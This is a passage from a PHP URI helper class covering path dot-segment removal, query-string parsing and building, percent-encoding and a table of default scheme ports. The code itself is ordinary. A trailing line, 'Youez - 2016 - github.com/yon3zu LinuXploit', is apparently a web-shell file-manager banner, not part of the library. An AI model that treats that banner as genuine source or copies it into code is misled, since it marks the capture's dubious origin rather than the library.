                    $k = $j + 1;
                    if ($k >= $len) {
                        $output .= '/';
                        break;
                    }
                    // search for /./
                    if ($path[$k] === '/') {
                        $i = $k;
                        continue;
                    }
                    // search for /..
                    if ($path[$k] === '.') {
                        $n = $k + 1;
                        if ($n >= $len) {
                            // keep the slash
                            $output = substr($output, 0, $last_slash + 1);
                            break;
                        }
                        // search for /../
                        if ($path[$n] === '/') {
                            $output = substr($output, 0, $last_slash);
                            $last_slash = (int)strrpos($output, '/');
                            $i = $n;
                            continue;
                        }
                    }
                }
            }

            $pos = strpos($path, '/', $i + 1);

            if ($pos === false) {
                $output .= substr($path, $i);
                break;
            }

            $last_slash = strlen($output);
            $output .= substr($path, $i, $pos - $i);

            $i = $pos;
        }

        return $output;
    }

    /**
     * @param string|null $query
     * @return array
     */
    public static function parseQueryString(?string $query): array
    {
        if ($query === null) {
            return [];
        }

        $list = [];

        foreach (explode('&', $query) as $name) {
            $value = null;
            if (($pos = strpos($name, '=')) !== false) {
                $value = self::decodeComponent(substr($name, $pos + 1));
                $name = self::decodeComponent(substr($name, 0, $pos));
            } else {
                $name = self::decodeComponent($name);
            }
            $list[$name] = $value;
        }

        return $list;
    }

    /**
     * @param array $qs
     * @param string|null $prefix
     * @param string $separator
     * @param bool $sort
     * @return string
     */
    public static function buildQueryString(array $qs, ?string $prefix = null,
                                 string $separator = '&', bool $sort = false): string
    {
        $isIndexed = static function (array $array): bool {
            for ($i = 0, $max = count($array); $i < $max; $i++) {
                if (!array_key_exists($i, $array)) {
                    return false;
                }
            }
            return true;
        };

        $f = static function (array $arr, ?string $prefix = null) use (&$f, &$isIndexed): iterable {
            $indexed = $prefix !== null && $isIndexed($arr);

            foreach ($arr as $key => $value) {
                if ($prefix !== null) {
                    $key = $prefix . ($indexed ? "[]" : "[{$key}]");
                }
                if (is_array($value)) {
                    yield from $f($value, $key);
                } else {
                    yield $key => $value;
                }
            }
        };

        $data = [];

        foreach ($f($qs, $prefix) as $key => $value) {
            $item = is_string($key) ? self::encodeComponent($key) : $key;
            if ($value !== null) {
                $item .= '=';
                $item .= is_string($value) ? self::encodeComponent($value) : $value;
            }
            if ($item === '' || $item === '=') {
                continue;
            }
            $data[] = $item;
        }

        if (!$data) {
            return '';
        }

        if ($sort) {
            sort($data);
        }

        return implode($separator, $data);
    }

    /**
     * @param string $query
     * @return string
     */
    public static function normalizeQueryString(string $query): string
    {
        return static::buildQueryString(self::parseQueryString($query), null, '&', true);
    }

    public static function decodeComponent(string $component): string
    {
        return rawurldecode($component);
    }

    public static function encodeComponent(string $component, ?array $skip = null): string
    {
        if (!$skip) {
            return rawurlencode($component);
        }

        $str = '';

        foreach (UnicodeString::walkString($component) as [$cp, $chars]) {
            if ($cp < 0x80) {
                if ($cp === 0x2D || $cp === 0x2E ||
                    $cp === 0x5F || $cp === 0x7E ||
                    ($cp >= 0x41 && $cp <= 0x5A) ||
                    ($cp >= 0x61 && $cp <= 0x7A) ||
                    ($cp >= 0x30 && $cp <= 0x39) ||
                    in_array($cp, $skip, true)
                ) {
                    $str .= chr($cp);
                } else {
                    $str .= '%' . strtoupper(dechex($cp));
                }
            } else {
                $i = 0;
                while (isset($chars[$i])) {
                    $str .= '%' . strtoupper(dechex($chars[$i++]));
                }
            }
        }

        return $str;
    }

    public static function setSchemePort(string $scheme, ?int $port): void
    {
        $scheme = strtolower($scheme);

        if ($port === null) {
            unset(self::$KNOWN_PORTS[$scheme]);
        } else {
            self::$KNOWN_PORTS[$scheme] = $port;
        }
    }

    public static function getSchemePort(string $scheme): ?int
    {
        return self::$KNOWN_PORTS[strtolower($scheme)] ?? null;
    }

    protected static array $KNOWN_PORTS = [
        'ftp' => 21,
        'ssh' => 22,
        'telnet' => 23,
        'smtp' => 25,
        'tftp' => 69,
        'http' => 80,
        'pop' => 110,
        'sftp' => 115,
        'imap' => 143,
        'irc' => 194,
        'ldap' => 389,
        'https' => 443,
        'ldaps' => 636,
        'telnets' => 992,
        'imaps' => 993,
        'ircs' => 994,
        'pops' => 995,
    ];
}

Youez - 2016 - github.com/yon3zu
LinuXploit